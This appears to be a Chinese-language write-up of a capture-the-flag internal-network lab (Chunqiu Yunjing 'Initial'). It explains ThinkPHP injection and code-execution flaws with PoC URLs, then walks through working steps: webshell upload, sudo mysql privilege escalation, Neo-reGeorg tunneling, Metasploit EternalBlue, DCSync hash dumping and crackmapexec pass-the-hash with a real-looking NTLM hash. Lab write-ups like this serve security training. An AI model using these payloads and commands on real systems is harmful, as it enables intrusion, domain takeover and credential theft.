内网渗透--春秋云镜initial

内网渗透–春秋云镜initial

一,前置知识

前置知识包括三个部分thinkphp,内网穿透,永恒之蓝

1.thinkphp漏洞原理

thinkphp 2.x

ThinkPHP 2.x 远程代码执行漏洞(CVE-2014-9784)的原理主要涉及框架对用户输入的动态路由处理机制未进行严格过滤,导致攻击者可通过构造特定 URL 执行任意 PHP 代码

使用preg_replace/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

例如执行的poc url:

http://ip:8080//index.php? s=/index/index/xxx/${system(id)}

ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace app\index\controller;

use app\index\model\User;

class Index
{
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('id', 'in', $ids)->select();
}
}

代码使用 input('ids/a') 来接收用户输入,此方式未对输入进行严格过滤与验证,攻击者可能会通过构造恶意输入实施 SQL 注入攻击。比如,攻击者可传入包含恶意 SQL 语句的 ids 参数,借此绕过正常的查询逻辑。

例如: http://192.168.18.181/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

数组的键名(0,updatexml(...))被直接拼接到 SQL 查询中,导致 SQL 注入。

SELECT * FROM user WHERE id IN (0,updatexml(0,concat(0xa,user()),0))

ThinkPHP 5.0.23 远程代码执行漏洞

其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

poc url:

http://example.com/index.php?s=captcha&method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

2,内网穿透

攻击思路

攻击外网服务器,获取外网服务器的权限,接着利用入侵成功的外网服务器作为跳板,攻击内网其他服务器,最后获得敏感数据,并将数据传递到攻击者,看情况安装长期后门,实现长期控制和获得敏感数据的方式

攻击方法

frp中转代理

服务端(frps):部署在公网服务器,监听指定端口,负责接收外部请求并转发到内网。

客户端(frpc):运行在内网设备,与服务端建立长连接,将内网服务映射到公网。

Neo-reGeorg脚本监听

服务端:部署在目标服务器的 Webshell 脚本(如tunnel.phptunnel.jsp),负责接收 HTTP 请求并转发到内网目标。

客户端:攻击机上运行的 Python 脚本(如reGeorgSocksProxy.py),监听本地端口并将 SOCKS 请求通过 HTTP 协议发送到服务端。

3.横向移动与域渗透

横向移动:在内网中从已控制的主机向其他未授权主机扩展权限的过程,核心目标是获取更多资源访问权限。

通常采用哈希传递的方法是实现横向移动:

在 Windows 系统中,用户密码通常以哈希值的形式存储,而攻击者可以直接传递这个哈希值来完成认证,绕过传统的口令验证。

哈希传递(PTH):使用crackmapexec结合 NTLM 哈希远程执行命令。

域渗透:针对 Windows 域环境的攻击,目标是控制域控制器(DC)并获取域内所有资源权限。

域控攻击

  • DCSync 攻击:利用 Mimikatz 导出域内用户哈希。

  • 黄金票据(Golden Ticket):伪造 Kerberos TGT 票据,长期控制域。

二,复现过程

利用集成攻击工具然后getshell

连接蚁剑终端,查看权限

蚁剑终端权限

注意到/usr/bin/mysql有root权限,我们可以采用mysql提权

sudo mysql -e '\! cat /root/flag/f*'

MySQL提权

成功夺取flag01

随后进行信息收集,先用ifconfig查看内网IP

内网IP信息

上传fscan_amd扫描内网环境

扫描内网环境

注意到内网中有三个ip:172.22.1.21存在永恒之蓝 172.22.1.18信呼系统 172.22.1.2 DC域控

DC权限最高,在最后夺取域控的时候打,先打信呼

2,内网渗透

利用工具neo-regeorgs生成脚本并上传

python3 nenreg.py generate -k kali

生成脚本并上传

设置socks5代理监听1080端口

python neoreg.py -k password -u http://39.98.171.149/tunnel.php

设置socks5代理

在proxychains4设置socks5代理

设置socks5代理

测试连接

测试连接

连接成功

随后利用现成的poc打信呼,同时在同目录下放置一句话木马

利用poc打信呼

通过回显的url连接蚁剑夺取flag02

夺取flag02

3.横向移动与域渗透

先打利用msf打永恒之蓝

1
2
3
4
5
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
show options
set rhosts 172.22.1.21
run

打永恒之蓝

开始横向,导出域控hash

1
2
load kiwi
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv

导出域控hash

我们得到了最高权限密码

最后打hash传递

proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

打hash传递

用NTLM 哈希值以该用户身份登录系统,然后夺取整个域控,在主机中拿下flag